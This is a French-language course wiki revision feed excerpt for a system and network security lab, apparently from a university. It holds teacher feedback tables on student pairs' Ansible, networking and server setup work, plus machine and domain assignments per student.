| interfaces réseau renommées, clef ed25519 modifiée par ReX, pourquoi avoir enlevé le flanc que j'avais bien remis ? || gestion OK des commutateurs, encore des problèmes (e.g. câble défectueux sur nas02)&lt;br /&gt;
|-&lt;br /&gt;
| b5&lt;br /&gt;
| interfaces réseau mal renommées (corrigé ReX 12/2), réseau VLAN 50 sur la mauvaise interface, câble à changer de position (fait ReX 12/2), clef ed25519 modifiée (ReX 12/2), si le ventilateur ne fonctionne pas changez-le, vous allez tuer le processeur || inventaire ansible correct, mauvaise syntaxe pour le playbook, clef ed25519 mal recopiée&lt;br /&gt;
|-&lt;br /&gt;
| b6&lt;br /&gt;
| interfaces réseau renommées, machine relancée par ReX, même pas de répertoire &amp;lt;code&amp;gt;/root/.ssh&amp;lt;/code&amp;gt; || rôle vide&lt;br /&gt;
|-&lt;br /&gt;
| b7&lt;br /&gt;
| interfaces réseau mal renommées (corrigé ReX 12/2), même pas de répertoire &amp;lt;code&amp;gt;/root/.ssh&amp;lt;/code&amp;gt; || vous n'avez pas défini un rôle mais un playbook, revoyez le cours, de l'idée, en particulier l'ajout du paquetage &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; est à conserver mais après avoir installé les règles, pour les règles utilisez l'action prévue pour [https://docs.ansible.com/ansible/latest/collections/ansible/builtin/iptables_module.html]&lt;br /&gt;
|-&lt;br /&gt;
| m8&lt;br /&gt;
| même pas de répertoire &amp;lt;code&amp;gt;/root/.ssh&amp;lt;/code&amp;gt;, répertoire &amp;lt;code&amp;gt;/etc/udev/rules.d/70-persistent-net.rules&amp;lt;/code&amp;gt; absent, fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; à corriger avec le nouveau nom de l'interface  || rôle vide&lt;br /&gt;
|-&lt;br /&gt;
| b9&lt;br /&gt;
| même pas de répertoire &amp;lt;code&amp;gt;/root/.ssh&amp;lt;/code&amp;gt;, répertoire &amp;lt;code&amp;gt;/etc/udev/rules.d/70-persistent-net.rules&amp;lt;/code&amp;gt; absent, réseau VLAN 50 sur la mauvaise interface || bonne organisation du rôle (presque, les &amp;lt;code&amp;gt;.yml&amp;lt;/code&amp;gt; doivent s'appeler &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;), dans le modèle utilisez la bonne syntaxe pour la variable &amp;lt;code&amp;gt;A&amp;lt;/code&amp;gt;, utilisez le sous-répertoire &amp;lt;code&amp;gt;vars&amp;lt;/code&amp;gt; pour votre variable, vous devez récupérer le numéro du nom du nas pas de la zabeth, il manque le dictionnaire pour passer de ce numéro au &amp;lt;code&amp;gt;A&amp;lt;/code&amp;gt; correspondant (regardez le rôle &amp;lt;code&amp;gt;role_A_and_B&amp;lt;/code&amp;gt;), utilisez l'action template pour gérer le modèle&lt;br /&gt;
|-&lt;br /&gt;
| b10&lt;br /&gt;
| interfaces réseau renommées, même pas de répertoire &amp;lt;code&amp;gt;/root/.ssh&amp;lt;/code&amp;gt; || mauvais nom de rôle &amp;lt;code&amp;gt;config_reseau_role&amp;lt;/code&amp;gt; (les &amp;lt;code&amp;gt;.yml&amp;lt;/code&amp;gt; doivent s'appeler &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;), mauvais modèle (définition d'un vlan ?!, il faut utiliser les directives &amp;lt;code&amp;gt;up&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;down&amp;lt;/code&amp;gt;), mauvaise organisation du rôle (allez voir le rôle &amp;lt;code&amp;gt;role_A_and_B&amp;lt;/code&amp;gt;)&lt;br /&gt;
|-&lt;br /&gt;
| b11&lt;br /&gt;
| interfaces réseau renommées, clef ed25519 modifiée par ReX  || n'utilisez pas l'action &amp;lt;code&amp;gt;copy&amp;lt;/code&amp;gt;, aucune chance que cela fonctionne, utilisez l'action &amp;lt;code&amp;gt;rsync&amp;lt;/code&amp;gt; comme demandé dans le sujet [https://docs.ansible.com/ansible/latest/collections/ansible/posix/synchronize_module.html], mettez l'archive dans &amp;lt;code&amp;gt;/home/pifou&amp;lt;/code&amp;gt; plutôt&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Contrôle continu du 13/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Binôme !! Commentaire sur l'installation (13 février) !! Commentaire sur la tâche supplémentaire (13 février)&lt;br /&gt;
|-&lt;br /&gt;
| b1&lt;br /&gt;
| contactable par ansible || disques installés, la &amp;lt;code&amp;gt;zabeth18&amp;lt;/code&amp;gt; ne démarre plus, SSD changé, installé (ReX 12/02)&lt;br /&gt;
|-&lt;br /&gt;
| b2&lt;br /&gt;
| toujours pas contactable par ansible || rôle ntp absent&lt;br /&gt;
|-&lt;br /&gt;
| b3&lt;br /&gt;
| contactable par ansible || rôles &amp;lt;code&amp;gt;role_files&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;role_packages&amp;lt;/code&amp;gt; validés, corrections mineures, fonctionnent.&lt;br /&gt;
|-&lt;br /&gt;
| b4&lt;br /&gt;
| contactable par ansible, problème du flanc non fermé || gestion OK des commutateurs, encore des problèmes (e.g. câble défectueux sur nas02)&lt;br /&gt;
|-&lt;br /&gt;
| b5&lt;br /&gt;
| contactable par ansible, gare au ventilateur du processeur || inventaire ansible correct, playbook plausible, clef ed25519 mal recopiée&lt;br /&gt;
|-&lt;br /&gt;
| b6&lt;br /&gt;
| toujours pas contactable par ansible || rôle NFS toujours vide&lt;br /&gt;
|-&lt;br /&gt;
| b7&lt;br /&gt;
| contactable par ansible || rôle mascarade plausible, quelques corrections en particulier sur le réseau IPv4 cible mais pas mal du tout&lt;br /&gt;
|-&lt;br /&gt;
| m8&lt;br /&gt;
| toujours pas contactable par ansible || rôle commutateur virtuel toujours vide&lt;br /&gt;
|-&lt;br /&gt;
| b9&lt;br /&gt;
| contactable par ansible, interfaces mal renommées, câble sur le mauvais port || rôle DNS, bon départ, livraison tardive mais rôle fonctionnel&lt;br /&gt;
|-&lt;br /&gt;
| b10&lt;br /&gt;
| toujours pas contactable par ansible || rôle &amp;quot;interface VLAN50&amp;quot; toujours inexploitable&lt;br /&gt;
|-&lt;br /&gt;
| b11&lt;br /&gt;
| contactable par ansible || rôle &amp;quot;copie archive&amp;quot; toujours inexploitable&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Répartition des binômes pour les travaux pratiques &amp;quot;académiques&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Cahier !! Nom machine services &lt;br /&gt;
! IPv4 privée machine services !! Nom de domaine !! Nom machine mandataire &lt;br /&gt;
! IPv4 privée et routée machine mandataire !! Elève &lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E1 | Cahier n°1]]&lt;br /&gt;
| aigle|| || aigle.lol|| heterodontosaurus|| || Bilal EL HASNAOUI&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E2 | Cahier n°2]]&lt;br /&gt;
| chevreuil|| || chevreuil.lol|| spinosaure|| || Némo CAZIN&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E3 | Cahier n°3]]&lt;br /&gt;
| belette|| || belette.lol|| spinosaure|| || Antoine CEGARRA&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E4 | Cahier n°4]]&lt;br /&gt;
| truite|| 10.10.10.10|| truite.fun|| brachiosaure|| 193.48.57.173|| Simon CRUCHET&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E5 | Cahier n°5]]&lt;br /&gt;
| esturgeon|| 10.10.10.11|| esturgeon.fun|| brachiosaure|| 193.48.57.173|| Louis DERYCKERE&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E6 | Cahier n°6]]&lt;br /&gt;
| palourde|| 10.10.10.10|| palourde.fun|| raptor|| 193.48.57.174|| Romain DUHR&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E7 | Cahier n°7]]&lt;br /&gt;
| bigorneau|| 10.10.10.11|| bigorneau.fun|| raptor|| 193.48.57.174||Amaury BECQUET&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E8 | Cahier n°8]]&lt;br /&gt;
| munchkin|| || munchkin.site|| trex|| 193.48.57.175|| Youness EL QASTALANI&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E9 | Cahier n°9]]&lt;br /&gt;
| ecureuil|| || ecureuil.lol|| velociraptor|| 193.48.57.177|| Heriniaina ANDRIANIRINTSOA&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E10 | Cahier n°10]]&lt;br /&gt;
| siamois|| || siamois.site|| trex|| 193.48.57.175|| Younes BENMBAREK&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E11 | Cahier n°11]]&lt;br /&gt;
| lynx|| || lynx.lol|| velociraptor|| 193.48.57.177|| Chaymae RHANIM&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E12 | Cahier n°12]]&lt;br /&gt;
| nyala|| || nyala.website|| heterodontosaurus|| || Ayoub CHAOUNI&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E13 | Cahier n°13]]&lt;br /&gt;
| tigre|| || tigre.lol|| smilodon|| || Louis WIJSMAN&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E14 | Cahier n°14]]&lt;br /&gt;
| ornithorynque|| || ornithorynque.lol|| pteranodon|| ||Thomas NAVE&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E15 | Cahier n°15]]&lt;br /&gt;
| axolotl|| || axolotl.lol|| || 172.26.145.38|| Adrien PALIFERRO&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E16 | Cahier n°16]]&lt;br /&gt;
| caribou|| || caribou.lol|| pteranodon|| || Thibault DUYCK&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E17 | Cahier n°17]]&lt;br /&gt;
| panthere|| || panthere.lol|| smilodon|| 172.26.145.32||Thomas LEFRANC&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E18 | Cahier n°18]]&lt;br /&gt;
| singe|| || singe.lol || mosasaurus|| || Stéphane KADER-ISSACK&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E19 | Cahier n°19]]&lt;br /&gt;
| loutre|| || loutre.lol|| mosasaurus|| || Marion NORMAND&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E20 | Cahier n°20]]&lt;br /&gt;
| fennec|| 11.11.11.21|| fennec.pics|| triceratops|| 193.48.57.190|| Taha NEHARI&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E21 | Cahier n°21]]&lt;br /&gt;
| castor-canard|| 11.11.11.20|| castor-canard.lol|| triceratops|| 193.48.57.190|| Martin CHAUVELIERE&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Contrôles continus &amp;quot;TP académique&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
== Premier contrôle continu 08/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° élève !! Elève !! domaine !! machine services !! machine mandataire !! commutateur virtuel !! tâche annexe&lt;br /&gt;
|-&lt;br /&gt;
| 1 || Bilal EL HASNAOUI&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 2 || Némo CAZIN &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 3 || Antoine CEGARRA &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 4 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 5 || Louis DERYCKERE&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 6 || Romain DUHR&lt;br /&gt;
| || || || || Configuration du commutateur virtuel SE4 sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, propre&lt;br /&gt;
|-&lt;br /&gt;
| 7 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 8 || Youness EL QASTALANI&lt;br /&gt;
| || &amp;lt;code&amp;gt;munchkin&amp;lt;/code&amp;gt; démarre (maj à faire) || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 9 || Heriniaina ANDRIANIRINTSOA&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 10 || Younes BENMBAREK&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 11 || Chaymae RHANIM&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 12 || Ayoub CHAOUNI&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 13 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 14 || Thomas NAVE&lt;br /&gt;
| ornithorynque.lol || &amp;lt;code&amp;gt;ornithorynque&amp;lt;/code&amp;gt; démarre (maj à faire) || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 15 || Adrien PALIFERRO&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 16 || Thibault DUYCK&lt;br /&gt;
| caribou.lol || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 17 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 18 || Stéphane KADER-ISSACK&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 19 || Marion NORMAND&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 20 || Taha NEHARI&lt;br /&gt;
| fennec.pics || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 21 || Martin CHAUVELIERE&lt;br /&gt;
| castor-canard.lol || &amp;lt;code&amp;gt;castor-canard&amp;lt;/code&amp;gt; démarre (maj à faire) || || ||&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Deuxième contrôle continu 09/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° élève !! Elève !! domaine !! machine services !! machine mandataire !! commutateur virtuel !! tâche annexe&lt;br /&gt;
|-&lt;br /&gt;
| 1 || Bilal EL HASNAOUI&lt;br /&gt;
| aigle.lol || &amp;lt;code&amp;gt;aigle&amp;lt;/code&amp;gt; démarrée || || vous n'avez pas à spécifier d'interfaces initiales ||&lt;br /&gt;
|-&lt;br /&gt;
| 2 || Némo CAZIN &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 3 || Antoine CEGARRA &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 4 || Simon CRUCHET &lt;br /&gt;
| truite.fun || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 5 || Louis DERYCKERE&lt;br /&gt;
| esturgeon.fun || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 6 || Romain DUHR&lt;br /&gt;
| palourde.fun || || || || Configuration du commutateur virtuel SE4 sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, propre&lt;br /&gt;
|-&lt;br /&gt;
| 7 || Amaury BECQUET&lt;br /&gt;
| bigorneau.fun || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 8 || Youness EL QASTALANI&lt;br /&gt;
| munchkin.site || &amp;lt;code&amp;gt;munchkin&amp;lt;/code&amp;gt; démarre (maj non effectuée) || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 9 || Heriniaina ANDRIANIRINTSOA&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 10 || Younes BENMBAREK&lt;br /&gt;
| siamois.site || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 11 || Chaymae RHANIM&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 12 || Ayoub CHAOUNI&lt;br /&gt;
| nyala.website || &amp;lt;code&amp;gt;nyala&amp;lt;/code&amp;gt; démarrée || || vous n'avez pas à spécifier d'interfaces initiales ||&lt;br /&gt;
|-&lt;br /&gt;
| 13 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 14 || Thomas NAVE&lt;br /&gt;
| ornithorynque.lol || &amp;lt;code&amp;gt;ornithorynque&amp;lt;/code&amp;gt; démarre (maj en cours mais pas de réseau) || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 15 || Adrien PALIFERRO&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 16 || Thibault DUYCK&lt;br /&gt;
| caribou.lol || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 17 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 18 || Stéphane KADER-ISSACK&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 19 || Marion NORMAND&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 20 || Taha NEHARI&lt;br /&gt;
| fennec.pics || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 21 || Martin CHAUVELIERE&lt;br /&gt;
| castor-canard.lol || &amp;lt;code&amp;gt;castor-canard&amp;lt;/code&amp;gt; démarre (maj non effectuée) || || ||&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Deuxième contrôle continu 13/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° élève !! Elève !! domaine !! machine services !! machine mandataire !! commutateur virtuel !! tâche annexe&lt;br /&gt;
|-&lt;br /&gt;
| 1 || Bilal EL HASNAOUI&lt;br /&gt;
| aigle.lol || &amp;lt;code&amp;gt;aigle&amp;lt;/code&amp;gt; démarrée || || vous n'avez pas à spécifier d'interfaces initiales ||&lt;br /&gt;
|-&lt;br /&gt;
| 2 || Némo CAZIN &lt;br /&gt;
| || &amp;lt;code&amp;gt;chevreuil&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 3 || Antoine CEGARRA &lt;br /&gt;
| || &amp;lt;code&amp;gt;belette&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 4 || Simon CRUCHET &lt;br /&gt;
| truite.fun || &amp;lt;code&amp;gt;truite&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 5 || Louis DERYCKERE&lt;br /&gt;
| esturgeon.fun || &amp;lt;code&amp;gt;esturgeon&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 6 || Romain DUHR&lt;br /&gt;
| palourde.fun || &amp;lt;code&amp;gt;palourde&amp;lt;/code&amp;gt; démarrée || || || Configuration du commutateur virtuel SE4 sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, propre&lt;br /&gt;
|-&lt;br /&gt;
| 7 || Amaury BECQUET&lt;br /&gt;
| bigorneau.fun || &amp;lt;code&amp;gt;bigorneau&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 8 || Youness EL QASTALANI&lt;br /&gt;
| munchkin.site || &amp;lt;code&amp;gt;munchkin&amp;lt;/code&amp;gt; démarre (non maj, écrasée avec nouvelle installation) || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 9 || Heriniaina ANDRIANIRINTSOA&lt;br /&gt;
| || &amp;lt;code&amp;gt;ecureuil&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 10 || Younes BENMBAREK&lt;br /&gt;
| siamois.site || &amp;lt;code&amp;gt;siamois&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 11 || Chaymae RHANIM&lt;br /&gt;
| || &amp;lt;code&amp;gt;lynx&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 12 || Ayoub CHAOUNI&lt;br /&gt;
| nyala.website || &amp;lt;code&amp;gt;nyala&amp;lt;/code&amp;gt; démarrée || || vous n'avez pas à spécifier d'interfaces initiales ||&lt;br /&gt;
|-&lt;br /&gt;
| 13 ||&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 14 || Thomas NAVE&lt;br /&gt;
| ornithorynque.lol || &amp;lt;code&amp;gt;ornithorynque&amp;lt;/code&amp;gt; démarre (maj terminée, très bien) || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 15 || Adrien PALIFERRO&lt;br /&gt;
| || &amp;lt;code&amp;gt;axolotl&amp;lt;/code&amp;gt; non lancée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 16 || Thibault DUYCK&lt;br /&gt;
| caribou.lol || &amp;lt;code&amp;gt;caribou&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 17 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 18 || Stéphane KADER-ISSACK&lt;br /&gt;
| || &amp;lt;code&amp;gt;singe&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 19 || Marion NORMAND&lt;br /&gt;
| || &amp;lt;code&amp;gt;loutre&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 20 || Taha NEHARI&lt;br /&gt;
| fennec.pics || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 21 || Martin CHAUVELIERE&lt;br /&gt;
| castor-canard.lol || &amp;lt;code&amp;gt;castor-canard&amp;lt;/code&amp;gt; démarre (maj terminée, très bien) || || ||&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2023/2024&amp;diff=5259</id>
		<title>SE4 IdO sécurité système/réseau 2023/2024</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2023/2024&amp;diff=5259"/>
		<updated>2024-02-14T13:46:51Z</updated>

		<summary type="html">&lt;p&gt;Handrian : /* Répartition des binômes pour les travaux pratiques &amp;quot;académiques&amp;quot; */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Répartition des binômes pour les travaux pratiques &amp;quot;migration&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
Donnez les élèves dans chaque binôme. Pas de trinôme, éventuellement un monôme.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Binôme !! Elèves !! N° du NAS !! Résumé de la tâche en trois mots&lt;br /&gt;
|-&lt;br /&gt;
| b1 || Louis DERYCKERE &amp;amp; Simon CRUCHET || NAS03 || Installation des disques&lt;br /&gt;
|-&lt;br /&gt;
| b2 ||  Louis WIJSMAN &amp;amp; Thomas LEFRANC|| NAS02 || Serveur de temps&lt;br /&gt;
|-&lt;br /&gt;
| b3 || Thomas Nave &amp;amp; Thibault Duyck || NAS09 || Premiers rôles Ansible&lt;br /&gt;
|-&lt;br /&gt;
| b4 || Romain DUHR &amp;amp; Amaury BECQUET || NAS04 || Câblage anciennes stations &lt;br /&gt;
|-&lt;br /&gt;
| b5 || Younes BENMBAREK &amp;amp; Youness EL QASTALANI || NAS05 || Configuration serveur Ansible&lt;br /&gt;
|-&lt;br /&gt;
| b6 || Chaymae RHANIM &amp;amp; Heriniaina ANDRIANIRINTSOA || NAS06 || Configuration serveur NFS&lt;br /&gt;
|-&lt;br /&gt;
| b7 || Bilal EL HASNAOUI &amp;amp; Ayoub CHAOUNI || NAS07 || Installation d'une mascarade&lt;br /&gt;
|-&lt;br /&gt;
| m8 || Adrien PALIFERRO || NAS08 || Configuration interface réseau (commutateur virtuel)&lt;br /&gt;
|-&lt;br /&gt;
| b9 || Nemo CAZIN &amp;amp; Antoine CEGARRA || NAS01 || Configuration du DNS&lt;br /&gt;
|-&lt;br /&gt;
| b10 || Stéphane Kader Issack &amp;amp; Marion Normand || NAS10 || Configuration interface réseau (&amp;lt;code&amp;gt;ether0&amp;lt;/code&amp;gt;)&lt;br /&gt;
|-&lt;br /&gt;
| b11 ||  Martin Chauveliere &amp;amp; Taha Nehari || NAS11 || Recopie Archive TP&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Contrôles continus &amp;quot;TP migration&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
== Contrôle continu du 06/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Binôme !! Commentaire sur l'installation (6 février) !! Commentaire sur la tâche supplémentaire (6 février)&lt;br /&gt;
|-&lt;br /&gt;
| b1&lt;br /&gt;
| mode BIOS, Devuan mode texte, passer en UEFI || OK mais la &amp;lt;code&amp;gt;zabeth18&amp;lt;/code&amp;gt; ne démarre plus, dois-je vous imputer cela ?&lt;br /&gt;
|-&lt;br /&gt;
| b2 &lt;br /&gt;
| mode UEFI, installation BIOS, ne fonctionne pas, câble non fonctionnel || aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b3&lt;br /&gt;
| mode BIOS, ne démarre pas, plaque latérale mal remise || aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b4&lt;br /&gt;
| mode BIOS, ne démarre pas || gestion OK des commutateurs, connexion très partielle (au moins 5 stations non connectées)&lt;br /&gt;
|-&lt;br /&gt;
| b5&lt;br /&gt;
| mode UEFI, démarre sur l'ancien Devuan || paquetage &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; installé sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;, aucune trace de l'inventaire, pas de répertoire &amp;lt;code&amp;gt;/etc/ansible&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b6&lt;br /&gt;
| mode UEFI, démarre sur l'ancien Devuan || aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b7&lt;br /&gt;
| mode UEFI, plante sur GRUB || aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| m8&lt;br /&gt;
| mode BIOS, Devuan mode texte, passer en UEFI || laquelle ? aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b9&lt;br /&gt;
| mode UEFI, installation BIOS, ne fonctionne pas || aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b10&lt;br /&gt;
| Même pas étiquetté, ancien Devuan (installé ReX), configuration réseau sur la mauvaise interface, réparé avec les instructions envoyées par courriel || laquelle ? aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| b11&lt;br /&gt;
| mode BIOS, Devuan mode texte, passer en UEFI (fait ReX) || aucun répertoire dans &amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;zabeth15&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Contrôle continu du 08/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Binôme !! Commentaire sur l'installation (8 février) !! Commentaire sur la tâche supplémentaire (8 février)&lt;br /&gt;
|-&lt;br /&gt;
| b1&lt;br /&gt;
| installée par ReX, clef ed25519 absente || disques installés, la &amp;lt;code&amp;gt;zabeth18&amp;lt;/code&amp;gt; ne démarre plus, SSD commandé&lt;br /&gt;
|-&lt;br /&gt;
| b2&lt;br /&gt;
